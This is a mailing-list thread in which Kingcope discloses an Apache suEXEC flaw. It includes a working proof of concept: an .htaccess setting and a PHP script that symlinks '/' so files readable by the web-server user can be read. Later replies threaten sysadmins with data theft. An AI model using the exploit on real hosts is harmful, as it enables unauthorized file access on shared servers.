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So the blackhat that Sits on ur Site and the site of ur company Since half a= year will stop at the point Where its "technically incorrect" and wont esc= alate to root because "it doesnt have to do Anything with suexec". Its an Ol= d vuln so let it stay , better for us and soon our Data on your boxes. Time to Write a Real Root exploit and dont waste the Time with sysadmins tha= t know how to set a flag in httpd.conf , apache devs included. Am 09.08.2013 um 14:29 schrieb Kingcope <isowarez.isowarez.isowarez@googlema= il.com>: > So what your Emails Tell me is better ignore this vulnerability. I dont Cl= aim its a High severity Bug but if you Tell People to ignore it Because it i= snt a vulnerability you are very much aiding the Chaos of insecurity in the I= nternet today. You Maybe have a Secure Setting but theres only you on the Pl= anet. Attackers Look specifically for such Bugs to Open Servers. No Wonder w= e have compromises in a High Scale every Day due to this ignorance. My rant o= n that One. >=20 > Am 07.08.2013 um 21:49 schrieb king cope <isowarez.isowarez.isowarez@googl= email.com>: >=20 >> Apache suEXEC privilege elevation / information disclosure >>=20 >> Discovered by Kingcope/Aug 2013 >>=20 >> The suEXEC feature provides Apache users the ability to run CGI and SSI p= rograms >> under user IDs different from the user ID of the calling web server. Norm= ally, >> when a CGI or SSI program executes, it runs as the same user who is runni= ng the >> web server. >> Used properly, this feature can reduce considerably the security risks in= volved >> with allowing users to develop and run private CGI or SSI programs. >>=20 >> With this bug an attacker who is able to run php or cgi code inside a web= >> hosting environment and the environment is configured to use suEXEC as a >> protection mechanism, he/she is able to read any file and directory on th= e file- >> system of the UNIX/Linux system with the user and group id of the >> apache web server. >>=20 >> Normally php and cgi scripts are not allowed to read files with the apach= e user- >> id inside a suEXEC configured environment. >>=20 >> Take for example this apache owned file and the php script that follows. >>=20 >> $ ls -la /etc/testapache >> -rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache >> only user www-data should be able to read this file. >>=20 >> $ cat test.php >> <?php >> system("id; cat /etc/testapache"); >> ?> >>=20 >> When calling the php file using a webbrowser it will show... >> uid=3D1002(example) gid=3D1002(example) groups=3D1002(example) >>=20 >> because the php script is run trough suEXEC. >> The script will not output the file requested because of a permissions er= ror. >>=20 >> Now if we create a .htaccess file with the content... >> Options Indexes FollowSymLinks >>=20 >> and a php script with the content... >>=20 >> <?php >> system("ln -sf / test99.php"); >> symlink("/", "test99.php"); // try builtin function in case when >> //system() is blocked >> ?> >> in the same folder >>=20 >> ..we can access the root filesystem with the apache uid,gid by >> requesting test99.php. >> The above php script will simply create a symbolic link to '/'. >>=20 >> A request to test99.php/etc/testapache done with a web browser shows.. >> voila! read with the apache uid/gid >>=20 >> The reason we can now read out any files and traverse directories owned b= y the >> apache user is because apache httpd displays symlinks and directory listi= ngs >> without querying suEXEC. >> It is not possible to write to files in this case. >>=20 >> Version notes. Assumed is that all Apache versions are affected by this b= ug. >>=20 >> apache2 -V >> Server version: Apache/2.2.22 (Debian) >> Server built: Mar 4 2013 21:32:32 >> Server's Module Magic Number: 20051115:30 >> Server loaded: APR 1.4.6, APR-Util 1.4.1 >> Compiled using: APR 1.4.6, APR-Util 1.4.1 >> Architecture: 32-bit >> Server MPM: Worker >> threaded: yes (fixed thread count) >> forked: yes (variable process count) >> Server compiled with.... >> -D APACHE_MPM_DIR=3D"server/mpm/worker" >> -D APR_HAS_SENDFILE >> -D APR_HAS_MMAP >> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) >> -D APR_USE_SYSVSEM_SERIALIZE >> -D APR_USE_PTHREAD_SERIALIZE >> -D APR_HAS_OTHER_CHILD >> -D AP_HAVE_RELIABLE_PIPED_LOGS >> -D DYNAMIC_MODULE_LIMIT=3D128 >> -D HTTPD_ROOT=3D"/etc/apache2" >> -D SUEXEC_BIN=3D"/usr/lib/apache2/suexec" >> -D DEFAULT_PIDLOG=3D"/var/run/apache2.pid" >> -D DEFAULT_SCOREBOARD=3D"logs/apache_runtime_status" >> -D DEFAULT_ERRORLOG=3D"logs/error_log" >> -D AP_TYPES_CONFIG_FILE=3D"mime.types" >> -D SERVER_CONFIG_FILE=3D"apache2.conf" >>=20 >> Cheers, >> /Kingcope